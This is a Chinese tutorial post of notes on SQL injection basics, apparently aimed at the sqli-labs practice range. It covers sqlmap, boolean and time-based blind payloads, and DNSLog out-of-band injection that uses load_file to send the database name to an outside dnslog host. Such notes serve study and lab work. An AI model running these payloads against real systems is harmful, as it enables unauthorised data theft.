首页 > 数据库 >Sql注入基础

Sql注入基础

时间:2024-06-20 11:53:39浏览次数:30  
标签:database Sql 基础 sqli sleep SQL select 注入

1. Sql 注入基础

1.1 SQL 注入的发生

image-20240619090749843

1.2 如何获取数据库信息

  • show 命令
  • select +函数
  • 系统库
    • image-20240619090917895

1.3 参数会如何处理?

image-20240619090954815

1.4 Sql 注入的完整流程

  1. 判断是否可以注入
  2. 获得数据库名
  3. 获得表名
  4. 获取列名
  5. 获得数据

2. SQL 注入自动化工具

2.1 sqlmap

image-20240619091158161

2.2 sqlmap 参数详解

sqlmap -hh

基本用法:

sqlmap.py -u "localhost/school/url.php?id=1"

3. SQL 注入靶场

  • 官方代码不支持 PHP 7

https://github.com/Audi-1/sqli-labs

  • 支持 php 7 的代码

https://github.com/goldroad/sqli_labs_sqli-version

4. 注入类型

image-20240619091222908

4.1 布尔盲注

适用场景:没有数据回显,条件正确有结果,错误没结果

利用方式:构造判断条件( and ),逐个猜测(盲猜)

布尔盲注相关 SQL 语法

  • 截取字符

SELECT MID('abcdefghijklm' ,5, 5);

SELECT substr('abcdefghijklm' ,5, 5);

SELECT left('abcdefghijklm' ,5);

  • 转成ASCII码

SELECT ORD('a');

SELECT ASCII('a');

4.2 基于时间的盲注

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件( and ),添加 sleep,逐个猜测(盲猜)

时间盲注相关SQL语法

  • 截取长度

select length(database())=8;

  • 判断,赋值

select if((1=1),1,0);

  • 睡眠 N 秒

select sleep(1);

  • 如果数据库名字长度为 8,则 sleep 1 秒,否则返回 0

select sleep(if((select length(database())=8),1,0));

  • 等价于

select if(length(database())=8,sleep(1),0)

4.3 基于报错的注入

适用场景:没有数据回显,条件正确与否结果一样,sleep 没区别,但是错误信息会打印出来

利用方式:利用语法错误,把 value 在前端输出

5. DNSLo g注入

image-20240619091839201

5.1 DNSLog 平台

  1. Dnslog

http://www.dnslog.cn/

image-20240619091920040

  1. CEYE平台

http://ceye.io/

image-20240619092714268

UNC

Universal Naming Convention 通用命名规则

image-20240619114246548

5.2 MySQL 读写函数

secure_file_priv 参数

image-20240619092112214

select LOAD_FILE('E:\\in.txt')

  1. 只能访问本机的文件
  2. 文件需要有读取权限
  3. 字节数小于max_allowed_packet

否则返回NULL

5.3 DNSLog注入流程

  1. 把select LOAD_FILE()注入到数据库,访问文件

  2. UNC构建DNS服务器地址,假装访问文件,产生DNSLog

​ select load_file('////aaa.yourid.dnslog.cn/wuya');

  1. 把子域名替换成函数或者查询SQL

select if((select load_file(concat('////',database(),'.yourid.dnslog.cn/wuya'))),1,0);

5.4 DNSLog注入流程总结(带外查询)

image-20240619092639503

image-20240619092714268

5.5 DNSLog 注入脚本

python 2

dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c

dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs

  • --dbs get

    database

  • -D DB

    database name

  • --tables

    get table

  • -T TABLE

    table name

  • --columns

    get column

  • -C COLUMN

    column name

  • --dump

    get data

6. SQL 注入防御

image-20240619092745541

标签:database,Sql,基础,sqli,sleep,SQL,select,注入
From: https://www.cnblogs.com/txnb/p/18258392

相关文章

  • 【总线】AXI4第二课时:深入AXI4总线的基础事务
                    大家好,欢迎来到今天的总线学习时间!如果你对电子设计、特别是FPGA和SoC设计感兴趣,那你绝对不能错过我们今天的主角——AXI4总线。作为ARM公司AMBA总线家族中的佼佼者,AXI4以其高性能和高度可扩展性,成为了现代电子系统中不可或缺的通信桥梁。......
  • MySQL入门学习-连接查询.INNER JOIN
        表的连接在数据库中扮演着至关重要的角色。当我们处理多个表之间的关联数据时,连接查询是必不可少的。    假设我们有两个表A和B,它们有一个共同的字段。现在,我们想从A和B中选择出所有匹配的数据。这就是连接查询的作用。    以下是一个基本的......
  • MySQL入门学习-子查询.列子查询
        列子查询是MySQL中一种常用的子查询类型,它返回一个单列的结果集,该结果集可以在主查询中作为一个列使用。一、以下是一些列子查询的例子:1.简单的列子查询```sqlSELECTcolumn1,    (SELECTcolumn2FROMtable2WHEREtable1.column1=table2.column......
  • JavaScript基础部分知识点总结(Part3)
    函数的概念1.函数的概念在JS里面,可能会定义非常多的相同代码或者功能相似的代码,这些代码可能需要大量重复使用。虽然for循环语句也能实现一些简单的重复操作,但是比较具有局限性,此时我们就可以使用JS中的函数。函数:就是封装了一段可被重复调用执行的代码块。通过此代码块可......
  • Windows安全加固总结(非常详细)零基础入门到精通,收藏这一篇就够了
    为了达到安全的目的,一般来说我们需要关注操作系统的八个方面:补丁管理>账号漏洞>授权管理>服务管理>功能优化>文件管理>远程访问控制>日志审计其中:补丁管理使用最新版的补丁,避免使系统存在已知的漏洞,从而被攻击者利用。账号口令梳理出系统中正在使......
  • Spring Environment 容器环境变量注入Spring属性不一致却能生效
    https://blog.csdn.net/fenglllle/article/details/126942480 前言最近使用容器部署应用,Spring应用,会注入一些环境变量,然而这些环境变量的大小写和真实的取值差异很大,而且也不是xxx.xxx,而是xxx_xxx,非常奇怪,代码里也没发现原因。通过分析Spring源码发现,原理就是Spring的特殊处理......
  • 基于cadence最基础的inv和and保姆级教学
    ......
  • mysql主从复制GTID模式
     版本8.0.36 主从复制的定义是指把数据从一个Mysql服务器(主节点)复制到一个或多个Mysql服务器(从节点)中,会把主节点服务器中的所有数据库实例、特定数据库实例或特定表等,全部复制到从节点服务器中。主从复制的原理是通过基于日志的复制方式实现数据的同步。当主服务器上发生数......
  • 《UML基础、案例与应用》习题记录-第17章
    部分习题,使用visio或plantuml,非正确答案,仅供参考,欢迎评论,谢绝转载。 第17章领域分析17.11.2习题1. 2.   3. 4. 5.  6.   ......
  • 《UML基础、案例与应用》习题记录-第19章
    部分习题,使用visio或plantuml,非正确答案,仅供参考,欢迎评论,谢绝转载。第19章开发用例19.7.2习题 1.2.  3. 4. 用例Notifyrequestcompleted用例描述酒保完成饮料定单后通知服务员。假设条件顾客就餐,选择了饮料;服务员通过传递饮料定单......